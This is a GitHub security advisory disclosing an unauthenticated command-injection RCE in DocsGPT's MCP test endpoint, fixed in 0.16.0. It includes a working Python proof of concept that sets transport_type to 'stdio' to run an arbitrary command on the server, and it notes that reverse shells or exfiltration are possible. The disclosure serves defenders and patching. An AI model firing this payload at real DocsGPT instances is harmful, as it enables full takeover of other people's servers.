Skip to content

Unauthenticated RCE in DocsGPT MCP STDIO Configuration

Critical
dartpain published GHSA-gcrq-f296-2j74 Apr 28, 2026

Package

arc53/DocsGPT

Affected versions

>= 0.15.0, < 0.16.0

Patched versions

0.16.0

Description

Summary

An attacker accessing both the official DocsGPT website (https://app.docsgpt.cloud/) or any local and public deployment, can craft a malicious payload bypassing the "MCP test" behavior to achieve arbitrary remote code execution (RCE).

Details

Inside application/agents/tools/mcp_tool.py you import StdioTransport from FastMCP, which is used inside the _create_transport function, if an MCP connection would be sent to the server with "stdio" as the MCP type, that MCP configuration will tell the server to run an arbitrary command with arguments inside the command variable.

return StdioTransport(command=command, args=args, env=env)

When a user wants to add a new MCP server from the web client, he has only one options which is the "http" based MCP server.
Screenshot 2026-01-19 at 16 00 14

The server checks only if the user passed a valid MCP server as a value in the "server_url" parameter, but the client can change other values such as "transport_type", so after the business logic passes the "server_url" check and sees that its valid, it will continue to read the "transport_type" - and run the commands given for that specific "transport_type". This means that if an attacker passes "transport_type"="stdio" with a command, he can trigger the server to run that command even though this logic is not explicitly exposed to the user.

Original sent data when testing the MCP server
Screenshot 2026-01-19 at 16 00 57

Malicious payload crafted to bypass the logic
Screenshot 2026-01-19 at 16 05 43

Inside application/agents/tools/mcp_tool.py you explicitly check for a given "server_url" value, but if that value is supplied alongside a different "transport_type" than "http", "sse", "auto", the client could make the server's logic to return a valid non-http based MCP configuration.

    def test_connection(self) -> Dict:
        """
        Test the connection to the MCP server and validate functionality.

        Returns:
            Dictionary with connection test results including tool count
        """
        if not self.server_url:
            return {
                "success": False,
                "message": "No MCP server URL configured",
                "tools_count": 0,
                "transport_type": self.transport_type,
                "auth_type": self.auth_type,
                "error_type": "ConfigurationError",
            }
        if not self._client:
            self._setup_client()
        try:
            if self.auth_type == "oauth":
                return self._test_oauth_connection()
            else:
                return self._test_regular_connection()
        except Exception as e:
            return {
                "success": False,
                "message": f"Connection failed: {str(e)}",
                "tools_count": 0,
                "transport_type": self.transport_type,
                "auth_type": self.auth_type,
                "error_type": type(e).__name__,
            }

PoC

  1. Find the DocsGPT backend server port or URL
  2. Run the malicious payload containing the malformed JSON triggering the stdio command execution
  3. You can edit the command to run any arbitrary command, enabling the attacker to run reverse shell, data exfiltration or any other command.

POC Video

docsgpt_rce_disclosure_video.mp4

You can use the following code to reproduce this issue.

import requests

headers = {
    'Accept': '*/*',
    'Accept-Language': 'en-US,en;q=0.9',
    'Connection': 'keep-alive',
    'Content-Type': 'application/json',
    'Origin': 'http://localhost:5173',
    'Referer': 'http://localhost:5173/',
    'Sec-Fetch-Dest': 'empty',
    'Sec-Fetch-Mode': 'cors',
    'Sec-Fetch-Site': 'same-site',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
}

json_data = {
    'config': {
        'server_url': 'https://mcp-test.glama.ai/mcp',
        'command': 'touch',
        'args': ['/tmp/pwn'],
        'auth_type': 'none',
        'transport_type':'stdio',
        'timeout': 1,
    },
}

response = requests.post('http://localhost:7091/api/mcp_server/test', headers=headers, json=json_data)
print(response.text)

Impact

This is an unauthenticated remote code execution vulnerability (RCE) allowing attackers full control over the DocsGPT services. affecting the official DocsGPT cloud instance and any publicly available DocsGPT instance, and local instances when in the same network as the attacker (Lateral Movement).
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Reference

https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/
https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CVE ID

CVE-2026-26015

Weaknesses

Improper Neutralization of Special Elements used in a Command ('Command Injection')

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Learn more on MITRE.

Credits